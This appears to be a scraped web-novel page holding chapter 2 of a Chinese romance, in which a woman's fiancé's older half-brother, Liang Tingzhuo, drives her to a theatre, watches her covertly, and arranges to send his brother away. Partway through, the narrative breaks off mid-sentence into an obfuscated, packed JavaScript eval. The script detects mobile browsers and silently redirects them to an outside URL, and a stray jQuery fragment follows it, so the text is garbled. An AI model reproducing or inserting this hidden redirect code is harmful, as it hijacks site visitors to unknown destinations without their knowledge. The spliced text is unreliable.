默认冷灰
24号文字
方正启体

2. 微妙

作者:慕拉本书字数:K更新时间:
    02


    明嘉茵几乎没有在私下见过梁听濯。


    他比她年长几岁,不在同一个交友圈,平时碰面,都是世家之间的重要场合。


    明嘉茵每次见到他,都会按着梁见洲未婚妻的身份,在长辈面前客客气气地喊他一声“大哥”。


    这次也是一样。


    明嘉茵本能地喊出这个称呼,他颀长高大的身躯像是完全笼罩住了她,非正规的场合加上过近的距离,让她的呼吸蓦然紧张,胸脯随之起伏。


    梁听濯没有回应这一声“大哥”,只略微垂眸,从高处注视着眼前这位未来弟媳。


    他眼里眉间是惯有的寂然,漆黑的眸光微压,不着痕迹,更不易被勘破,原本宽敞的浴室也因他的存在而显得逼仄,空气似乎都变得难以流通。


    明嘉茵被梁听濯这样凝视着,心脏愈加高悬,尤其是想到自己刚才喊他帮忙的态度……


    着实是有些不客气。


    她不免觉得尴尬,悄悄咬住唇瓣。


    真糟糕,怎么会是他呢。


    她以为敲门的人是梁见洲。


    现在明嘉茵才明白过来,原来管家口中的今晚会回来住的“梁先生”,是指梁听濯。


    她应该一早就想到的。


    管家之前都称呼梁见洲为二少爷,如今能被称为“梁先生”的,就只有梁氏资本的代理掌权人,梁听濯。


    说起来,明嘉茵也是很久没见过梁听濯了。


    这几年她一直在国外读书,上次见面,还是几月前她利用假期回国参加奶奶的寿宴。


    那晚在寿宴上,他们简单打了个照面。


    没想到,再次见面,会是这样意外。


    不提刚才过于暧昧和逾矩的场景,光是此时此刻,私密空间,一男一女,贴靠过近的身体……


    好似有什么难以言喻的东西在彼此相缠的气息中发酵,气氛很是微妙。


    明嘉茵不自觉地颤动着眼睫,脸颊泛红,唇瓣微张,准备说些什么时,身前一动不动的男人突然主动往后退了一步。


    像是懂得男女之间的社交分寸,进退有度。


    “听说你在这里,过来和你打声招呼,顺便取走上次遗落在这的袖扣。”


    算是表明自己出现在这里的缘由。


    他没提明嘉茵认错自己的事,也没提刚才的帮忙,仿佛并没将刚刚这偶然逾越的亲密放在心上。


    明嘉茵听着梁听濯的声音,沉静的,富有磁性的,就像他本人,身形轮廓之间自带成年男人的沉稳和成熟。


    她没怎么和他说过话,自然很少听到他的声音,此刻他沉定的嗓音落字清晰,敲击着她的耳膜,让她不由得脑袋发晕。


    还好,她很快清醒过来,也同时意识到什么。


    上次遗落在这里的袖扣,那不就是说,他之前是住在这里的?


    这个想法一跳出来,明嘉茵就不由得睁大眼睛,完全忘却方才的暧昧氛围——


    “这是你的房间?”


    梁听濯瞧着表情诧异的明嘉茵,反应平静,不置可否地说:“房间每天都有人定时打扫,床铺是干净的,你安心住,今晚我睡隔壁客房。”


    明嘉茵听明白了,这里就是梁听濯的房间。


    是她不小心占据。


    怪不得她总感觉这里似乎是有主人的。


    怎么会这样,怎么都没人提醒她……


    “我不知道……对不起,我不知道这里是你的房间。”


    “没关系。我来分公司视察工作,会在这边住几天,希望不会打扰你。”


    “不会不会——”


    明嘉茵连忙摆手,又觉得这样好像不够有规矩,悄悄地又把手放下来藏到背后,朝着梁听濯扯出一个笑,显而易见地把他当作长辈对待。


    “这里本来就是大哥的家,是我打扰你才对。”


    梁听濯听着明嘉茵再次说出口的称呼,眸色不动声色地沉暗一瞬。


    他居高临下盯着明嘉茵的那双眼睛,仿若是在盯着自己一早就看中的猎物,眼底藏着不易被察觉出来的虎视眈眈。


    随后眼神微微收敛,落下几分故作的平和。


    “可以麻烦你吗,”他说,“袖扣应该放在左边床头柜的抽屉里。”


    明嘉茵迅速点头,梁听濯再次向旁边退一步,给她让出出去的空间。


    左边的床头柜里确实有一对袖扣,银色边框的设计,深邃的黑宝石镶嵌其中。


    明嘉茵在这个房间住了两天,没有打开过抽屉,不知道里面还有一对袖扣。


    她小心地拿起这对袖扣,转身递给已经停在身后的梁听濯,“是它们吗?”


    梁听濯轻应一声,伸手接过,说道:“麻烦了。”


    明嘉茵赶紧笑着摇头,表示没什么。


    而后。


    “你要出门?”


    很突然的问题。


    明嘉茵被问得愣住,下意识拿出平时应付长辈的那套说辞:“是的,我和朋友约了一起看音乐会。”


    “我送你。”


    梁听濯忽如其来的一句话,又让明嘉茵愣了一下。


    她懵懵与他对视着,他却表情平淡,送她这件事,仿若只是他临时起意的好心。


    等明嘉茵反应过来,梁听濯已经向外走去。


    极简黑的西装三件套穿在他身上,矜贵而凌冽。


    离开的背影,身高腿长,肩宽腰窄,全身线条如钢笔划过纸面般利落锋利。


    直至梁听濯的身影在眼前消失,明嘉茵才愣愣地从门口收回视线,表情懵怔。


    ·


    深夜时分。


    加长的沉黑车身驶出寂静的半山别墅区,逐渐驶向这座城市的中心命脉。


    港城城区的深夜,并不会因为夜雨而萧瑟,不断下落的雨水更像一颗颗钻石,折射着城市霓虹,雨夜也因此愈加璀璨。


    在这斑斓喧嚣的夜景衬托之下,无人说话的车内更显寂静。


    明嘉茵第一次坐梁听濯的车,也是第一次和他坐同一辆车,车内宽敞,他们两人中间隔着一段距离,可她还是觉得空间拥挤。


    因为她身旁的这个男人,存在感实在太强。


    定制西服妥帖裹住他宽阔的身型,大腿处的西裤褶皱规整有度,紧绷的恰到好处。他只是简单靠坐着座椅,却都能剥夺车内可呼吸的空间,让她不自觉紧张。


    还好,车内不是只有他们。


    梁听濯的司机在前方平稳开车,他的助理坐在副驾,并时不时地向他递来需要批阅的文件。


    路途过于安静,明嘉茵感觉实在难捱,不免悄悄用余光去瞧身旁坐着的梁听濯。


    道路逆向袭来的车灯透过车窗从他脸上闪过,锋利笔直的侧脸线条忽明又忽暗,全身上下都透着股不近人情的疏离。


    手指轻轻翻阅着文件时,露在西服袖口之外的那节手腕骨骼明晰,指节修长,先前取走的那对袖扣也已经戴到衬衣的袖口。


    他看似心神专注,没有在意车内多出一个人。


    明嘉茵想着自己要不要开口谢谢他这么忙还特意送她,可话在喉咙酝酿许久,最后还是选择放弃。


    她觉得这样开口,太突兀。


    还是保持沉默吧。


    明嘉茵微微抿唇,转头看向车窗外被雨水分割的城市夜景。


    也是在这时候,她忽然听到了梁听濯的声音。


    “刚回国,还习惯吗?”


    他的声音很淡,也很沉,像他身上特有的雪松余味,表面清冽轻盈,却能无声霸道地裹走人的心绪。


    明嘉茵先是停愣一下,抬眸看了看前方没有任何动作的司机和助理,才确认梁听濯是在和自己说话。


    她看向梁听濯,像小辈一般客客气气地回答:“习惯的,刚开始不大习惯,倒了几天时差。”


    梁听濯听着,视线仍落在他手中的文件上,与明嘉茵的交流听着只是随口一问,漫不经心的。


    他问:“准备什么时候回江海?”


    “忙完婚礼的一些准备工作,就回去了。”


    不提还好,一提起婚礼,明嘉茵就想到今晚失约的梁见洲。


    她回答完,偷偷别开脸,在心里用力哼了他一声。


    梁听濯微掀眼皮,侧眸瞧着明嘉茵。


    她有一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488417|202123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    双很漂亮的眼睛,她眼底的生动和脸上的小表情,他偶尔见过,都是她和梁见洲相处的时候。


    她面对他时,只有拿捏好分寸的礼貌和笑意。


    明嘉茵没注意到梁听濯的视线,在她回头前,梁听濯适时收回眼神,面上若无其事的,仿佛从未看过她。


    两人之间的对话只有这几句,很短暂。


    后续梁听濯没有再开口,明嘉茵不知道该和他说些什么,也便没找话题,氛围回到原先的微妙和安静。


    看音乐会是明嘉茵随口的谎言,地点也是她临时编的。


    她知道港城有个维多利亚剧院,司机就按着她说的,将她送到维多利亚剧院门口。


    临下车时,明嘉茵保持着脸上的微笑,向梁听濯道谢:“谢谢大哥。大哥再见。”


    梁听濯对“大哥”这个称呼,依然反应冷淡。


    只是这次,他对着明嘉茵这双略带笑意的眼睛,沉定半秒后,轻轻点了一下头。


    他们没有多余的话,就此告别。


    寒雨冷冽,明嘉茵撑伞站在剧院阶梯上,乖巧地笑着目送着梁听濯乘车离去。


    等他的车影一消失,她就放松地呼口气,身体松懈下来,终于不再全身紧绷。


    好奇怪,她面对他的时候,总是下意识的紧张。


    每次都和第一次见面时一样。


    不同的是,她第一次见到他时,除了紧张,还有专属于少女时期的好奇和注视。


    那是一个陡峭的寒春,和今天一样,下着一场无情的冷雨。


    十五岁的明嘉茵随同长辈拜访梁家,长辈们在老宅里面交谈,她和梁见洲在宅前闲聊,恰好碰上被老管家接回来的梁听濯。


    在外生活了十九年的私生子,在即将迎来二十岁生日的这年,终于被梁家承认身份,正式接回。


    当时的梁听濯,还是单薄清瘦的少年模样,上半身穿着一件黑色的薄外套,衣服干净,颜色却暗暗发白,能看出已经被洗过很多遍。


    他跟着老管家走进宅子,宽大的伞面之下,是没有表情的一张脸。


    觉察到前方有人,他兀自停下脚步,那双自带冷意的眼睛,静静扫过站在宅前的明嘉茵和梁见洲,眼里眉间,尽是疏冷。


    明嘉茵没有任何预兆地与他撞上视线,不具名的紧张在胸腔弥漫,随即而来的,是她对他满满的好奇。


    她没有避开他的目光,与他四目相对,注视着他,观察着他。


    明嘉茵只有第一次见面才这样大胆,后续再和梁听濯碰面,他们身份有了变化,她需要规规矩矩喊他一声大哥。


    而他,也一步一步的,从当年那个清薄冷漠的少年,蜕变成为梁家最年轻的家族掌权人,手段凌厉,野心勃勃。


    现在的梁氏资本,几乎已经是他的囊中之物——


    “梁总,明小姐已经打车离去。”


    副驾坐着的助理林周森确认着剧院门口的情况,第一时间向后座的男人报告。


    本已驶离的黑色迈巴赫正折返停在剧院附近不易被察觉的转角,梁听濯眼眸沉寂,悄然无声地从车窗外收回视线。


    车辆重新起步,缓缓驶入雨幕。


    林周森对着平板上的工作消息,继续向梁听濯报告。


    “二少爷已经完成京港项目的前期准备工作,京市那边也已经准备好,预计在一周内进行项目的下一步推进。”


    梁听濯神情无动地听着,抬手整理袖口,指尖恰好碰触到那对无需他特意回来取的那对袖扣。


    手指稍顿。


    几秒之后。


    “通知京市,项目提早推进。”


    项目提早推进,就意味着项目负责人需要提早飞去京市。


    林特助跟在梁听濯身边多年,人年轻,办事能力倒不差,与梁听濯也有一定的默契。


    他听出梁听濯的意思,点头应道:“明白。这几日就安排二少爷过去。”


    “不。”


    车子刚好驶进隧道,暗色笼罩住梁听濯的脸,几乎辨不出是否有表情,只听得到他发冷的嗓音,没有任何起伏。


    “给他定今晚的机票。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)